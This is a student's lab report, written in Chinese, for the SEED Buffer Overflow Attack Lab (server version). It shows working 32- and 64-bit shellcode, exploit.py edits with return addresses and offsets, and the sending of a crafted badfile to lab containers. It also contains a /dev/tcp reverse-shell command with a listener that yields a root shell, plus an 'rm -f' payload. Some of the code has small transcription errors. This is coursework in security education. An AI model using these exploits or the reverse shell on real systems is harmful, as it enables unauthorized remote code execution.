

## 第二次实验

姓名：林一帆

学号：57119114










报告日期：2021.7.8

实验内容：Buffer Overflow Attack Lab (Server Version)

实验过程：

Task1: Get Familiar with the Shellcode

在新建一个文件备用









Name	Size	Modified	Star
 Desktop	2 items	05:20	☆
 Documents	0 items	24 Nov 2020	☆
 Downloads	0 items	15 Jun	☆
 Music	0 items	24 Nov 2020	☆
 Pictures	0 items	24 Nov 2020	☆
 Public	0 items	24 Nov 2020	☆
 Templates	0 items	24 Nov 2020	☆
 Videos	0 items	24 Nov 2020	☆
 task1	5 bytes	05:23	☆

修改程序

```
16 # You can delete/add spaces, if needed, to keep the position the same.
17 # The * in this line serves as the position marker *
18 "rm -f /home/seed/task1" *
19 "AAAA" # Placeholder for argv[0] --> "/bin/bash"
20 "BBBB" # Placeholder for argv[1] --> "-c"
21 "CCCC" # Placeholder for argv[2] --> the command string
22 "DDDD" # Placeholder for argv[3] --> NULL
23).encode('latin-1')
```

运行程序及结果

```
[07/08/21] seed@VM:~/.../shellcode$ ./shellcode_32.py
[07/08/21] seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[07/08/21] seed@VM:~/.../shellcode$ a32.out
```

	Desktop	2 items	05:20	☆
	Documents	0 items	24 Nov 2020	☆
	Downloads	0 items	15 Jun	☆
	Music	0 items	24 Nov 2020	☆
	Pictures	0 items	24 Nov 2020	☆
	Public	0 items	24 Nov 2020	☆
	Templates	0 items	24 Nov 2020	☆
	Videos	0 items	24 Nov 2020	☆

## Task 2: Level-1 Attack

在 Labsetup 下创建一个 shell 用于启动容器

```
[07/08/21] seed@VM:~/.../Labsetup$ dcup
Starting server-2-10.9.0.6 ... done
Starting server-3-10.9.0.7 ... done
Starting server-1-10.9.0.5 ... done
Starting server-4-10.9.0.8 ... done
Attaching to server-2-10.9.0.6, server-4-10.9.0.8, server-1-10.9.0.5, server-3-10.9.0.7
```

首先关闭防范机制后发送一个消息

```
[07/08/21] seed@VM:~/.../Labsetup$ echo hello | nc 10.9.0.5 9090
^C
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd798
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd728
server-1-10.9.0.5 | ==== Returned Properly ====
```

修改 exploit.py 的代码

```

4 shellcode= (
5     "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
6     "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
7     "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
8     "/bin/bash*"
9     "-c*"
10    # You can modify the following command string to run any command.
11    # You can even run multiple commands. When you change the string,
12    # make sure that the position of the * at the end doesn't change.
13    # The code above will change the byte at this position to zero,
14    # so the command string ends here.
15    # You can delete/add spaces, if needed, to keep the position the same.
16    # The * in this line serves as the position marker
17    "echo 'atack success'*"
18    "AAAA" # Placeholder for argv[0] --> "/bin/bash"
19    "BBBB" # Placeholder for argv[1] --> "-c"
20    "CCCC" # Placeholder for argv[2] --> the command string
21    "DDDD" # Placeholder for argv[3] --> NULL
22).encode('latin-1')

29 start = 517 - len(shellcode) # Change this number
30 content[start:start + len(shellcode)] = shellcode
31
32 # Decide the return address value
33 # and put it somewhere in the payload
34 ret = 0xffffd798 + 8 # Change this number
35 offset = 116 # Change this number

```

生成 badfile, 按要求攻击, 若出现 success 则攻击成功

```

[07/08/21] seed@VM: ~/.../attack-code$ python3 exploit.py
[07/08/21] seed@VM: ~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd798
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd728
server-1-10.9.0.5 | atack success

```

## Reverse shell

修改 exploit.py 的代码

```

28 # Put the shellcode somewhere in the payload
29 content[517-len(shellcode):] = shellcode
30 # Decide the return address value
31 # and put it somewhere in the payload
32 ret = 0xffffd798 + 40 # Change this number
33 offset = 116 # Change this number
34
35 # Use 4 for 32-bit address and 8 for 64-bit address
36 content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
37 #####

```

新建一个命令行窗口, 输入指令进行监听



```
[07/08/21]seed@VM:~/.../Labsetup$ nc -nv -l 7070
Listening on 0.0.0.0 7070
```

在另一个命令行窗口执行修改后的 exploit.py, 然后向 server 发送 badfile 文件

```
[07/08/21]seed@VM:~/.../attack-code$ python3 exploit.py
[07/08/21]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
```

监听窗口输出以下内容, 攻击成功:

```
root@0fb971b11f70:/bof#
```

### Task 3: Level-2 Attack

首先发送一个消息, 出现以下输出

```
[07/08/21]seed@VM:~/.../Labsetup$ echo hello | nc 10.9.0.6 9090
^C
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer's address inside bof():      0xffffd618
server-2-10.9.0.6 | ==== Returned Properly ====
```

修改 exploit.py 的代码

```
4 shellcode= (
5     "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
6     "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
7     "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
8     "/bin/bash*"
9     "-c*"
10    # You can modify the following command string to run any command.
11    # You can even run multiple commands. When you change the string,
12    # make sure that the position of the * at the end doesn't change.
13    # The code above will change the byte at this position to zero,
14    # so the command string ends here.
15    # You can delete/add spaces, if needed, to keep the position the same.
16    # The * in this line serves as the position marker
17    "echo 'attack success'
18    # "/bin/bash -i >/dev/tcp/10.9.0.1/7070 0<&1 2>&1
19    "AAAA" # Placeholder for argv[0] --> "/bin/bash"
20    "BBBB" # Placeholder for argv[1] --> "-c"
21    "CCCC" # Placeholder for argv[2] --> the command string
22    "DDDD" # Placeholder for argv[3] --> NULL
23).encode('latin-1')
```

```

25 # Fill the content with NOP's
26 content = bytearray(0x90 for i in range(517))
27
28 #####
29 # Put the shellcode somewhere in the payload
30 content[517-len(shellcode):] = shellcode
31
32 # Decide the return address value
33 # and put it somewhere in the payload
34 # the first instruction return to
35 ret = 0xffffd168 + 360
36
37 S = 90
38 for offset in range(S):
39     content[offset*4:offset*4 + 4] = (ret).to_bytes(4,byteorder='little')
40 #####
41

```

生成 badfile, 按要求攻击, 若出现 success 则攻击成功

```

[07/08/21]seed@VM:~/.../attack-code$ python3 exploit.py
[07/08/21]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.6 9090

```

```

server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 517
server-2-10.9.0.6 | Buffer's address inside bof():      0xffffd538
server-2-10.9.0.6 | attack success

```

## Task 4: Level-3 Attack

首先发送一个消息, 出现以下输出

```

[07/08/21]seed@VM:~/.../attack-code$ echo hello | nc 10.9.0.7 9090
^C

server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffff530
server-3-10.9.0.7 | Buffer's address inside bof():      0x00007fffffff460
server-3-10.9.0.7 | ==== Returned Properly ====

```

修改 exploit.py 的代码

```

4 # 64-bit shellcode
5 shellcode = (
6     "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
7     "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
8     "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
9     "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
10    "/bin/bash*"
11    "-c*"
12    # You can modify the following command string to run any command.
13    # You can even run multiple commands. When you change the string,
14    # make sure that the position of the * at the end doesn't change.
15    # The code above will change the byte at this position to zero,
16    # so the command string ends here.
17    # You can delete/add spaces, if needed, to keep the position the same.
18    # The * in this line serves as the position marker          *
19    "echo 'attack success'"
20    # "/bin/bash -i >/dev/tcp/10.9.0.1/7070 0<&1 2>&1          *"
21    "AAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
22    "BBBBBBB" # Placeholder for argv[1] --> "-c"
23    "CCCCCCC" # Placeholder for argv[2] --> the command string
24    .....
25    .....
26    .....
27    .....
28    .....
29 content = bytearray(0x90 for i in range(517))
30
31 #####
32 # Put the shellcode near the beginning of the buffer
33 start = 40
34 content[start:start+len(shellcode)] = shellcode
35
36 # You need to decide the values for these two variables
37 ret = 0x00007fffffff460 + 20
38 offset = 216
39
40 content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
41 #####

```

生成 badfile, 按要求攻击, 若出现 success 则攻击成功

```

[07/08/21]seed@VM:~/.../attack-code$ python3 exploit.py
[07/08/21]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.7 9090

server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 517
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007fffffff530
server-3-10.9.0.7 | Buffer's address inside bof(): 0x00007fffffff460
server-3-10.9.0.7 | attack success *AAAAAAAABBBB

```